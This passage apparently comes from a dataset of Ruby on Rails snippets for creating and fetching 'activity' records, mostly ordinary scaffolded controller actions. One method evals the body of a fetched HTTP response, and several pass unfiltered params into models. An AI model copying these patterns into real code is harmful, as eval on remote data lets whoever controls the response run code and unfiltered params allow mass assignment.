json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity = Activity.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render action: 'show', status: :created, location: @activity }\n else\n format.html { render action: 'new' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity = Activity.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render action: 'show', status: :created, location: @activity }\n else\n format.html { render action: 'new' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity = current_user.activities.new(activity_params)\n @activity.name = params[:name]\n @activity.date = Date.civil(params[:date][:year].to_i, params[:date][:month].to_i, params[:date][:day].to_i)\n @activity.duration = params[:activity][:hour] + ':' + params[:activity][:minute] + ':' + params[:activity][:second]\n \n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if current_user\n if params[:format] == \"json\"\n @activity = current_user.activities.new_from_json(params)\n if params[:activity][:auto_title] == true\n @activity.auto_title!\n end\n else\n @activity = current_user.activities.new(params[:activity])\n end\n else\n @activity = Activity.new(params[:activity])\n end\n respond_to do |format|\n if @activity.save\n format.html { redirect_to(@activity, :notice => 'Activity was successfully created.') }\n format.xml { render :xml => @activity, :status => :created, :location => @activity }\n format.json { render :json => @activity.to_json, :status => :created, :location => @activity }\n else\n logger.info @activity.errors.inspect\n format.html { render :action => \"new\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n format.json { render :json => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n data = reload(get_series('activities'), str(Date.strptime(params[:activity].values.join(\"-\"))))\n saved = false\n get_series('activities').each do |s|\n puts \"Updating series=#{s}\"\n data[s].each do |day|\n @activity = for_date(day['dateTime'])\n @activity.send(s.partition('/')[2] + '=', day['value'])\n saved = @activity.save\n if not saved\n flash[:error] = @activity.errors\n end\n end\n end\n\n respond_to do |format|\n flash[:success] = 'Activity was successfully created.'\n format.html { redirect_to @activity }\n format.json { render json: @activity, status: :created, location: @activity }\n end\n end", "def create_activity(**args)\n params = parameters(args) do\n required_params :subject, :type\n optional_params :subject, :type, :done, :due_date, :due_time, :duration, :user_id, :deal_id, :person_id, :participants, :org_id, :note\n end\n request(:post, 'activities', params)\n end", "def create\n @activity = PublicActivity::Activity.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if params[:events].nil?\n else\n params[:events].each do |e|\n if Activity.exists?(uuid: params[:events][e][:id])\n @activity = Activity.find_by uuid: params[:events][e][:id]\n @activity.update({\n start_time: params[:events][e][:start].in_time_zone,\n end_time: params[:events][e][:end].in_time_zone,\n })\n next\n else\n @activity = Activity.new({\n start_time: params[:events][e][:start].in_time_zone,\n end_time: params[:events][e][:end].in_time_zone,\n uuid: params[:events][e][:id],\n name: params[:events][e][:name],\n place: params[:events][e][:google_id],\n schedule_id: params[:schedule_id]\n })\n\n @activity.save\n end\n end\n end\n end", "def create\n @activity = Activity.new(params[:activity])\n @activity.user = current_user\n @activity.organization = current_user.organization\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to activity_path(@activity), notice: 'Activity was successfully created.' }\n format.json { render json: @activity, status: :created, location: @activity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity = Activity.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.js { render partial: 'activity', locals: {activities: [@activity], is_filted: false} }\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.js { render partial: 'activity', notice: @activity.errors }\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n authorize Activity\n @activity = Activity.new(params[:activity])\n @activity.user = current_visitor\n\n if params[:update_material_properties]\n # set the material_properties tags\n @activity.material_property_list = (params[:material_properties] || [])\n end\n\n if params[:update_cohorts]\n # set the cohorts\n @activity.set_cohorts_by_id(params[:cohort_ids] || [])\n end\n\n if params[:update_grade_levels]\n # set the grade_level tags\n @activity.grade_level_list = (params[:grade_levels] || [])\n end\n\n if params[:update_subject_areas]\n # set the subject_area tags\n @activity.subject_area_list = (params[:subject_areas] || [])\n end\n\n respond_to do |format|\n if @activity.save\n format.js # render the js file\n flash[:notice] = 'Activity was successfully created.'\n format.html { redirect_to(@activity) }\n format.xml { render :xml => @activity, :status => :created, :location => @activity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @activity = Activity.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to [@course, @learning_unit, @activity], notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \tRails.logger.info params\n @activity = Activity.new(params[:activity])\n @activity.user = current_user\n\n if params.has_key?('hidden-activity') and params['hidden-activity'].has_key?('tag_list')\n \t@activity.tag_list = params['hidden-activity'][:tag_list]\n end\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render json: @activity, status: :created, location: @activity }\n else\n # Delete images post invalidation\n @activity.activity_images.map(&:destroy)\n @activity.activity_images = []\n ActivitiesController::MAX_IMAGES.times { @activity.activity_images.build }\n\n format.html { render action: \"new\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @dev_activity = current_user.dev_activities.create(dev_activity_params)\n\n respond_to do |format|\n if @dev_activity.save\n format.html { redirect_to user_dev_activities_path(current_user), notice: 'The Development Activity was successfully created.' }\n format.json { render action: 'show', status: :created, location: @dev_activity }\n else\n format.html { render action: 'new' }\n format.json { render json: @dev_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n activity_contents = params[:activity][:activity_contents]\n params = activity_params\n @activity = Activity.new(starter_id: current_user_id,\n activity_date: params[:activity_date],\n activity_end_time: params[:activity_end_time],\n place: params[:place],\n content: params[:content],\n activity_type_id: params[:activity_type_id],\n status: params[:status])\n\n\n respond_to do |format|\n if @activity.validate\n @activity.save\n ActivityParticipant.create(user_id: current_user_id,\n activity_id: @activity.id,\n identity: 1)\n activity_contents = JSON.parse(activity_contents)\n activity_contents.each do |content|\n ActivityContent.create(activity_id: @activity.id,\n sport_option: content[\"sport_option\"],\n quantity: content[\"quantity\"])\n\n end\n format.html {redirect_to @activity, notice: 'Activity was successfully created.'}\n format.json {render :show, status: :created, location: @activity}\n starter = @activity.starter\n starter.follower.each do |user|\n MessageChannel.broadcast_to(user, {type: 1, count: 1, msg: {\n title: \"<i class='fas fa-plus-circle'></i> New Poster from #{starter.user_name}\",\n text: 'A new poster has been posted', type: 'info'}})\n end\n format.js {render 'users/create_activity'}\n\n else\n #format.js {render json: {status: 2}}\n # unless @activity.activity_date.nil?\n # @activity.activity_date = @activity.activity_date.strftime('%m/%d/%Y %H:%M')\n # end\n format.html {render :new}\n format.json {render json: @activity.errors, status: :unprocessable_entity}\n format.js {render layout: false, content_type: 'text/javascript'}\n end\n end\n end", "def activities\n get_call(\"1/activities.json\")\n end", "def create\n save_status = false\n\n if (nil == params[:id])\n ruby_date = Activity.new(params.require(:activity).permit(:date)).date\n @activity = @user.activities.find_by(params.require(:activity).permit(:item_id).merge({:date => ruby_date}))\n\n if (nil != @activity)\n save_status = @activity.update(params.require(:activity).permit(:amount))\n else\n @activity = Activity.new(params.require(:activity).permit(:amount, :item_id, :date))\n @activity.user = @user\n save_status = @activity.save\n end\n else\n @activity = @user.activities.find_by({:id => params[:id]})\n save_status = @activity.update(params.require(:activity).permit(:amount))\n end\n\n respond_to do |format|\n if (nil == @activity)\n format.json { render json: {}, status: :unauthorized }\n elsif (true == save_status)\n format.json { render :show, status: :created }\n else\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if current_user\n @activity = Activity.new(activity_params)\n @activity.user_id = current_user.id\n\n respond_to do |format|\n if @activity.save\n\n # add owner to going to activity\n Goingtoactivity.create(user_id: @activity.user_id, activity_id: @activity.id)\n\n format.json { render :show, status: :created, location: @activity }\n else\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.json { render :json => {:success=>false, :message=>\"Something's wrong with the token. current_user is nil.\"} }\n end\n end\n end", "def create\n @activity = Activity.new(activity_params)\n respond_to do |format|\n if @activity.save\n #Guardamos todos los objectivos\n params[:objectives].split(\",\").each do |objective|\n puts objective\n obj = Objective.create(description: objective, is_done: false)\n @activity.objectives << obj\n end\n #Guardamos al usuario correspondiente\n params[:users].each do |user_id|\n ActivitiesUser.create(activity_id: @activity.id, user_id: user_id)\n \n end\n @plan = Plan.find(params[:plan_id])\n @plan.activities << @activity\n format.html { redirect_to planslink_path(@activity.plan.family_group.id), notice: 'Activity was successfully created.' }\n format.json { render action: 'show', status: :created, location: @activity }\n else\n format.html { render action: 'new' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n @title = Title.find(activity_params[:title_id])\n @event = Event.find(@title[:event_id])\n @activity = Activity.new(activity_params)\n @title.activities << @activity\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to \"/events/#{@event.id}\", notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def activity(id)\n get(\"/activities/#{id}.json\")\n end", "def activity(id)\n get(\"/activities/#{id}.json\")\n end", "def create\n @user_activity = UserActivity.new(user_activity_params)\n\n respond_to do |format|\n if @user_activity.save\n format.html { redirect_to @user_activity, notice: 'User activity was successfully created.' }\n format.json { render :show, status: :created, location: @user_activity }\n else\n format.html { render :new }\n format.json { render json: @user_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @status_activity = StatusActivity.new(status_activity_params)\n\n respond_to do |format|\n if @status_activity.save\n format.html { redirect_to @status_activity, notice: 'Status activity was successfully created.' }\n format.json { render :show, status: :created, location: @status_activity }\n else\n format.html { render :new }\n format.json { render json: @status_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @breadcrumb = 'create'\n @activity = Activity.new(params[:activity])\n @activity.created_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: crud_notice('created', @activity) }\n format.json { render json: @activity, status: :created, location: @activity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity = @activity_type.activity_class.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to activities_path(@activity_type.table_name, @activity), notice: \"#{@activity_type.name.humanize} was successfully created.\" }\n format.json { render :show, status: :created, location: @activity }\n format.js { render :create }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n format.js { render :new }\n end\n end\n end", "def create\n @my_activity = MyActivity.new(params[:my_activity])\n\n respond_to do |format|\n if @my_activity.save\n @all_activites = MyActivity.where(\"user_id =?\", current_user.id).order('created_at DESC').limit(10)\n #format.html { redirect_to @my_activity, notice: 'My activity was successfully created.' }\n #format.json { render json: @my_activity, status: :created, location: @my_activity }\n format.html {redirect_to new_my_activity_path}\n format.js\n else\n format.html { render action: \"new\" }\n format.json { render json: @my_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity = Activity.new(activity_params)\n\n if @activity.save\n redirect_to activities_path\n else\n render 'new'\n end\n\n end", "def create\n\t\tdestId = params[:destination_id]\n\t\tdestination = Destination.find_by_id(destId)\n\t\titinerary = Itinerary.create({tags: itinerary_params[:tags].split(\" \")})\n\t\ta = activity_params.first\n\t\tactivity = itinerary.activities.create({title: a[:title], tip: a[:tip], location: a[:location], photo: a[:photo], highlight: a[:highlight]})\n\t\trespond_with itinerary\n\tend", "def create\n @activity = Activity.new(activity_params.merge(user_id: current_user.id))\n # render text: params\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to activities_url, notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: activities_url.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user_activity = UserActivity.new(user_activity_params)\n @user_activity.user_id = current_user.try(:id)\n \n respond_to do |format|\n if @user_activity.save\n format.html { redirect_to @user_activity, notice: \"User activity was successfully created.\" }\n format.json { render :show, status: :created, location: @user_activity }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @user_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity = current_user.activities.new(activity_params)\n @activity.supplier_id = current_user.id\n #@activity.status = Activity::SETTING if @activity.activity_type.is_show?\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to edit_activity_path(@activity), notice: 'Activity was successfully created.' }\n format.json { render action: 'edit', status: :created, location: @activity }\n else\n format.html { render action: 'new' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @type_activity = TypeActivity.new(type_activity_params)\n\n respond_to do |format|\n if @type_activity.save\n format.html { redirect_to @type_activity, notice: 'Type activity was successfully created.' }\n format.json { render :show, status: :created, location: @type_activity }\n else\n format.html { render :new }\n format.json { render json: @type_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity = Activity.new(params[:activity])\n @activity.user = current_user\n @activity.organization = current_user.organization\n @activity.date = change_date_format(params[:activity][:date]) if !(params[:activity][:date]).blank?\n respond_to do |format|\n if @activity.save\n format.html { redirect_to activity_path(@activity), notice: 'Data was successfully created.' }\n format.json { render json: @activity, status: :created, location: @activity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def activity_params\n params.require(:activity).permit(:name, :user_id, :location, :time, :nrofpeopleinvited, :description)\n end", "def activity_params\n params.require(:activity).permit(:description, :is_done, :observations, :activity_type, :deadline)\n end", "def create\n @app = App.find(params[:app_id])\n @activity = @app.activities.build(params[:activity])\n @activity.state = Activity::STATE_DEVELOPMENT\n\n respond_to do |format|\n if @activity.save\n flash[:notice] = 'Activity was successfully created.'\n format.html do\n if request.xhr?\n render :partial => 'shared/activity_row', :collection => @app.activities, :as => 'activity'\n else\n redirect_to app_activity_path(@app, @activity)\n end\n end\n format.xml { render :xml => @activity, :status => :created, :location => @activity }\n else\n format.html do\n @base_versions = ['1_1_0']\n \n if request.xhr?\n render :partial => 'new', :locals => {:activity => @activity, :app => @app}, :status => :unprocessable_entity\n else\n render :action => \"new\"\n end\n end\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @activities = Activity.all\n render json: @activities\n end", "def create\n @step_activity = StepActivity.new(params[:step_activity])\n\n respond_to do |format|\n if @step_activity.save\n format.html { redirect_to @step_activity, notice: 'Step activity was successfully created.' }\n format.json { render json: @step_activity, status: :created, location: @step_activity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @step_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity = Activity.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to [:phone, @activity], notice: 'Activity was successfully created.' }\n format.json { render action: 'show', status: :created, location: @activity }\n else\n format.html { render action: 'new' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity = Activity.new(params[:activity])\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to(@activity, :notice => 'Activity was successfully created.') }\n format.xml { render :xml => @activity, :status => :created, :location => @activity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @activity_item = ActivityItem.new(params[:activity_item])\n\n respond_to do |format|\n if @activity_item.save\n format.html { redirect_to @activity_item, notice: 'Activity item was successfully created.' }\n format.json { render json: @activity_item, status: :created, location: @activity_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @activity_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity = Activity.new(params[:activity])\n\n respond_to do |format|\n if @activity.save\n flash[:notice] = I18n.t('activities.controller.Successfully_created')\n format.html { redirect_to(@activity) }\n format.xml { render :xml => @activity, :status => :created, :location => @activity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @recent_activity = RecentActivity.new(params[:recent_activity])\n\n respond_to do |format|\n if @recent_activity.save\n format.html { redirect_to @recent_activity, notice: 'Recent activity was successfully created.' }\n format.json { render json: @recent_activity, status: :created, location: @recent_activity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @recent_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user_activity = UserActivity.new(user_activity_params)\n\n respond_to do |format|\n if @user_activity.save\n format.html { redirect_to customer_path(@user_activity.customer_id), notice: 'User activity was successfully created.' }\n format.json { render :show, status: :created, location: @user_activity }\n else\n format.html { render :new }\n format.json { render json: @user_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def user_activity\n device_id = request.headers['device_id']\n string = request.body.read\n activity = ActiveSupport::JSON.decode(string)\n a_ids = []\n if !activity.empty?\n begin\n activity.each do |a|\n if a['user_id'].nil?\n a['device_id'] = device_id\n end\n id = a['event_id']\n a.delete('event_id')\n logger.info\"=====#{a}\"\n UserActivity.create(a)\n a_ids << id\n end\n rescue Exception => e\n logger.info \"===Exception in creating usage #{e}\"\n # @error = \"#{e.message} for #{e.try(:record).try(:class).try(:name)}\"\n end\n respond_to do |format|\n format.json { render json: a_ids }\n end\n end\n\nend", "def create\n @activity = Activity.new(params[:activity])\n @attcategories = Attcategory.all\n \n @activity.duration = params[:activity_hours].to_i * 60\n @activity.duration += params[:activity_minutes].to_i\n \n @activity.user = current_user\n\n respond_to do |format|\n if @activity.save\n flash[:notice] = 'Activity was successfully created.'\n format.html { redirect_to :action => :change_actattributes, :id => @activity }\n format.xml { render :xml => @activity, :status => :created, :location => @activity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_activity_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ActivitiesApi.create_activity ...\"\n end\n # resource path\n local_var_path = \"/activities\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'activity_resource'])\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ActivityResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ActivitiesApi#create_activity\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def activities(params = {})\n scope 'default'\n get('activities/', params)\n end", "def create_activity\n player = Player.find_or_create_by(email:req_params[:email])\n project = Project.find_by(name:req_params[:project])\n event = req_params[:event]\n count = req_params[:count]\n @activity = Activity.get_activity_type(player,event,project,count)\n\n end", "def activities=(value)\n @activities = value\n end", "def add_activity\n @activity = Activity.new({\n :user => User.find_by_id(params[:user_id]), \n :name => params[:activity][:name], \n :description => params[:activity][:description],\n :category => Category.find_by_id(params[:activity][:category]),\n\t\t\t:location => params[:activity][:location]\n #:loc_x => params[:activity][:loc_x], \n #:loc_y => params[:activity][:loc_y])\n\t\t})\n\n if @activity.save\n\t\t\t\tputs params[:activity].inspect\n\t\t\t\t@activity.add_photo(params[:user_id], params[:activity][:photo_url])\n\t\t\t\trender :json=>@activity\n else\n render :text=>'There was an error saving the activity.', :status=>:service_unavailable\n end\n end", "def add_activity(activity)\n act = activity.as_json\n write_feed.add_activity(act)\n end", "def create\n @activity_participant = Activity::Participant.new(activity_participant_params)\n @activity_participant.user = current_user\n @activity_participant.activity = Activity.find_by_id(params[:activity_id])\n\n respond_to do |format|\n if @activity_participant.save\n format.html { redirect_to activity_participants_url, notice: \"Participant was successfully created.\" }\n format.json { render :show, status: :created, location: @activity_participant }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @activity_participant.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity = Activity.new(activity_params)\n @activity.team = @team\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to team_activities_path(@team), notice: 'Activity was successfully created.' }\n format.json { render action: 'show', status: :created, location: @activity }\n else\n @activities = @team.activities\n iwantmodal\n should_modal_be_open\n format.html { render action: 'index' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity_type = ActivityType.new(params[:activity_type])\n\n respond_to do |format|\n if @activity_type.save\n format.html { redirect_to @activity_type, notice: 'Activity type was successfully created.' }\n format.json { render json: @activity_type, status: :created, location: @activity_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @activity_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity = Activity.new(params[:activity])\n\t\tauthorize! :create, @activity\n\n respond_to do |format|\n if @activity.save\n flash[:notice] = 'Activity was successfully created.'\n format.html { redirect_to(activities_url) }\n format.xml { render :xml => @activity, :status => :created, :location => @activity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @activity = Activity.new(activity_params)\n # TODO: Need to move this logic to Model ??\n # Get max activity number\n current_activity_number = Activity.maximum(:activity_id, :conditions => [\"issue_id = ?\", activity_params[:issue_id]])\n\n # Set next activity number\n if current_activity_number\n next_activity_number = current_activity_number + 1\n else\n next_activity_number = 1\n end\n @activity.activity_id = next_activity_number\n\n # Convert blank into zero\n @activity.hours = 0 if @activity.hours.blank?\n @activity.minutes = 0 if @activity.minutes.blank?\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render action: 'show', status: :created, location: @activity }\n else\n format.html { render action: 'new' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @project_activity = ProjectActivity.new(project_activity_params)\n\n respond_to do |format|\n if @project_activity.save\n format.html { redirect_to @project_activity, notice: 'Project activity was successfully created.' }\n format.json { render :show, status: :created, location: @project_activity }\n else\n format.html { render :new }\n format.json { render json: @project_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def index(user)\n activities = []\n json = eval(RestClient.get(ENDPOINT + \"/activities?user_id=#{user}\").to_s)\n json.each do |attributes|\n activities << Activity.new(attributes)\n end\n activities\n end", "def activity_params\n params.fetch(:activity, {}).permit(\n :name,\n :start,\n :duration,\n :activity_type_id\n )\n end", "def create_activity(activity)\n create_or_update(activity, nil,\n 'activity', 'activities')\n end", "def create\n @activity = Activity.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n \n\n else\n# format.html { render :new }\n format.html { redirect_to \"/activities/qyer\", notice: @activity.errors }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def activity_params\n params.require(:activity).permit(:name, :deal_id, :team_id, :person_id, :organization_id, :type_id, :note, :date, :time, :length, :user_id, :done)\n end", "def activities(options={})\n response = connection.get do |req|\n req.url \"activities\", options\n end\n return_error_or_body(response)\n end", "def activities_params\n params.require(:activity).permit(:action, :trackable)\n end", "def republish\n json = JSON.parse(request.body.read)\n begin\n @external_activity = ActivityRuntimeAPI.republish(json)\n head :created, :location => @external_activity\n rescue StandardError => e\n json_error(e)\n end\n end", "def create\n # @activity = Activity.new(activity_params)\n @activity = @group.activities.new(activity_params)\n\n respond_to do |format|\n if @activity.save\n # format.html { redirect_to @group, notice: 'Activity was successfully created.' }\n format.html { redirect_to [@group, @activity], notice: 'Activity was successfully updated.' }\n format.json { render action: 'show', status: :created, location: @activity }\n else\n format.html { render action: 'new' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @activity = Activity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activity }\n end\n end", "def new\n @activity = Activity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activity }\n end\n end", "def new\n @activity = Activity.new\n @series = get_series('activities')\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activity }\n end\n end", "def activity_params\n params.require(:activity).permit(:reference, :name, :user_id, :start_time, :end_time, :sport, :owner, :entry, :is_proxy)\n end", "def create\n @activity = Activity.new(params[:activity])\n\n respond_to do |format|\n if @activity.save\n flash[:notice] = 'Activity was successfully created.'\n if @activity.is_achievement\n format.html { redirect_to :action => 'index' }\n else\n format.html { redirect_to :action => 'plan_chart' }\n end\n format.html { redirect_to :action => :plan_chart }\n format.xml { render :xml => @activity, :status => :created, :location => @activity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n ap = activity_params\n if !ap[:points].nil?\n doc = Nokogiri::XML(ap[:points].read)\n parse_gpx(doc,ap)\n end\n @activity = Activity.new(ap)\n @activity.owner_id = current_user.id\n\n respond_to do |format|\n if @activity.save\n format.html { redirect_to @activity, notice: 'Activity was successfully created.' }\n format.json { render :show, status: :created, location: @activity }\n else\n format.html { render :new }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def activity_params\n params.require(:activity).permit(:name, :description, :location, :start, :end, :deadline, :reminder_at, :subgroup_division_enabled, :no_response_action)\n end", "def create\n # Obtain user information by searching for username\n @user = User.find_by_username(params[:username])\n @activity = @user.activities.new(activity_params)\n if @activity.save\n flash[:success] = \"Activity Successfully Added!\"\n redirect_to calendar_path(@user.username)\n else\n render 'new'\n end\n end", "def create\n\n @activity = Activity.new(activity_params)\n\n\n @activity.date = convert_date_to_i(params[:date])\n @activity.time_from = get_time_from\n @activity.time_to = get_time_to\n\n respond_to do |format|\n if @activity.save\n\n format.html { redirect_to new_lambing_path }\n format.json { render action: 'show', status: :created, location: @activity }\n else\n format.html { render action: 'new' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def activity_params\n params.require(:activity).permit(:title, :started_at, :stopped_at, :applied_at, :number_limit, :pay_type, :province, :city, :district, :location, :approval, :condition)\n end", "def activity_params\n params.require(:activity).permit(:name, :date, :points, :place_id, :sport_id, :owner_id)\n end", "def create\n @goal = current_user.goals.build(goal_params)\n\n # iterate throught dates\n puts goal_params[:start_date]\n puts goal_params[:duration]\n\n if goal_params[:start_date] != \"\" && goal_params[:duration] != \"\"\n start_date = Date.parse(goal_params[:start_date])\n end_date = start_date + goal_params[:duration].to_i - 1\n\n start_date.upto(end_date) do |date|\n @goal.activities.build({done: false, due_date: date})\n end\n end\n\n respond_to do |format|\n if @goal.save\n format.html { redirect_to goals_path, notice: 'Goal was successfully created.' }\n format.json { render :show, status: :created, location: @goal }\n else\n format.html { render :new }\n format.json { render json: @goal.errors, status: :unprocessable_entity }\n end\n end\n end", "def activity_params\n params.require(:activity).permit(:exercise_type_id, :exercise_unit_id, :intensity_id, :date, :num_units)\n end", "def create\n @activities_list = ActivitiesList.new(activities_list_params)\n\n respond_to do |format|\n if @activities_list.save\n format.html { redirect_to @activities_list, notice: 'Activities list was successfully created.' }\n format.json { render :show, status: :created, location: @activities_list }\n else\n format.html { render :new }\n format.json { render json: @activities_list.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @activity_type = ActivityType.new (activity_type_params)\n \n respond_to do |format|\n if @activity_type.save\n format.html { redirect_to @activity_type, notice: 'activity_type was successfully created.' }\n format.json { render :show, status: :created, location: @activity_type }\n else\n format.html { render :new }\n format.json { render json: @activity_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @work_activity = WorkActivity.new(params[:work_activity])\n\n respond_to do |format|\n if @work_activity.save\n format.html { redirect_to @work_activity, notice: 'Work activity was successfully created.' }\n format.json { render json: @work_activity, status: :created, location: @work_activity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n @opportunity = Opportunity.new(opportunity_params)\n @opportunity.organisation = @organisation\n\n unless opportunity_params[:new_activity].blank?\n activity = Activity.find_by_title(opportunity_params[:new_activity])\n if activity.nil?\n activity = Activity.new(:title => opportunity_params[:new_activity])\n activity.save\n end\n @opportunity.activity = activity\n end\n\n unless opportunity_params[:new_sub_activity].blank?\n sub_activity = @opportunity.activity.sub_activities.find_by_title(opportunity_params[:new_sub_activity])\n if sub_activity.nil?\n sub_activity = @opportunity.activity.sub_activities.new(:title => opportunity_params[:new_sub_activity])\n sub_activity.save\n end\n @opportunity.sub_activity = sub_activity\n end\n\n respond_to do |format|\n if @opportunity.save\n format.html { redirect_to @opportunity, notice: 'Opportunity was successfully created.' }\n 